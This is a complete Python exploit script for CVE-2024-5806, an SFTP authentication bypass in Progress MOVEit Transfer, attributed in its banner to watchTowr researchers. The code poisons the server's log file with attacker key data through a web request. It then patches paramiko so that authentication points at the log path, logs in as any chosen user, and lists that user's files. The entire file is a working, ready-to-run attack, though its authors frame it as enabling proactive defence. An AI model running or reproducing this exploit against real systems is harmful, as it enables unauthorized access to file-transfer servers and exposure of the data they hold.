import argparse import os import sys import time import paramiko import requests import urllib3 from paramiko.auth_handler import AuthHandler from paramiko.dsskey import DSSKey from paramiko.ecdsakey import ECDSAKey from paramiko.ed25519key import Ed25519Key from paramiko.pkey import PKey from paramiko.rsakey import RSAKey banner = """ __ ___ ___________ __ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________ \\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\ \\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/ \\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__| \\/ \\/ \\/ CVE-2024-5806.py (*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806) exploit by watchTowr - Aliz Hammond, watchTowr (aliz@watchTowr.com) - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com) Note: We (watchTowr) aren't the original discoverers of the bug, we just reproduced it and wrote the exploit in order to enable proactive protection of client attack surfaces. We will update with proper credit when available. CVEs: [CVE-2024-5806] """ # Sanity check that required files exist. def sanity(ppk_file: str, pem_file: str): if not os.path.exists(ppk_file): raise Exception("(!) Provided PPK file does not exist") if not os.path.exists(pem_file): raise Exception("(!) Provided PEM file does not exist") # Load PPK and PEM key material, returning the PPK as raw bytes and the PEM as a parsed key file. def loadKeys(ppk_file: str, pem_file: str) -> (str, PKey): try: with open(ppk_file, "r") as f: loaded_ppk = f.read() except: raise Exception("(!) Exception when loading the provided PPK file") # Since we don't know what type the key is, we need to try each type in turn. This is the best way to do it # according to stackoverflow - see https://stackoverflow.com/a/76477074 loaded_pem = None for pkey_class in (RSAKey, DSSKey, ECDSAKey, Ed25519Key): try: loaded_pem = pkey_class.from_private_key_file(pem_file) except Exception: pass if loaded_pem is None: raise Exception("(!) Unable to load the provided PEM file") return loaded_ppk, loaded_pem def poisonLog(target_ip: str, target_web_port: str, ppkData: str): try: requests.post( f"https://{target_ip}:{target_web_port}/guestaccess.aspx", data={ "transaction": "signoff", "Arg12": f"\r\n{ppkData}" }, verify=False) except Exception: print("(!) Error while poisoning the log file") raise def authenticate(target_ip: str, target_sftp_port: int, target_user: str, pem_file: PKey): transport = paramiko.Transport((target_ip, target_sftp_port)) transport.connect(None, target_user, pkey=pem_file) return paramiko.SFTPClient.from_transport(transport) def main(args): urllib3.disable_warnings() sanity(args.ppk_file, args.pem_file) ppk_key, pem_key = loadKeys(args.ppk_file, args.pem_file) # Patch Paramiko, ensuring that it returns our file path instead of key data def _get_key_type_and_bits(_, key): if key.public_blob: return key.public_blob.key_type, args.poison_path else: return key.get_name(), args.poison_path AuthHandler._get_key_type_and_bits = _get_key_type_and_bits # Now we can insert our key data into the log file. print("(*) Poisoning log files multiple times to be sure...") for n in range(0, 10): poisonLog(args.target_ip, args.target_web_port, ppk_key) sys.stdout.write('.') sys.stdout.flush() sys.stdout.write('OK\n') print("(*) Waiting 60 seconds for logs to be flushed to disk") for n in range(1, 61): sys.stdout.write(f'{n}.. ') sys.stdout.flush() time.sleep(1) sys.stdout.write('OK\n') retriesLeft = 10 while True: print("(*) Attempting to authenticate..") try: print(f"(*) Trying to impersonate {args.target_user} using the server-side file path '{args.poison_path}'") sftp = authenticate(args.target_ip, args.target_sftp_port, args.target_user, pem_key) print("(+) Authentication succeeded.") break except Exception: retriesLeft = retriesLeft - 1 if retriesLeft == 0: raise print("(!) Something went wrong during the SFTP authentication process, will retry.") time.sleep(2) with sftp: print(f"(+) Listing files in home directory of user {args.target_user}:\r\n") for fileInfo in sftp.listdir_attr('.'): print(fileInfo.longname) print(banner) parser = argparse.ArgumentParser(usage=r'python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user admin --ppk id.ppk --pem id') parser.add_argument('--target-user', '-u', dest='target_user', help='username to impersonate', required=True) parser.add_argument('--target-ip', '-t', dest='target_ip', help='Target IP', required=True) parser.add_argument('--target-web-port', dest='target_web_port', help='Target Web Port', type=int, default=443, required=False) parser.add_argument('--target-sftp-port', dest='target_sftp_port', help='Target SFTP Port', type=int, default=22, required=False) parser.add_argument('--poison-path', '-x', dest='poison_path', help='poisoned file containing attacker controlled SSH public key', default="C:\\MOVEitTransfer\\Logs\\DMZ_WEB.log", required=False) parser.add_argument('--ppk', '-k', dest='ppk_file', help='Putty Private Key file (PPK)', required=True) parser.add_argument('--pem', '-p', dest='pem_file', help='Private Key file in PEM format',required=True) parsedArgs = parser.parse_args() main(parsedArgs)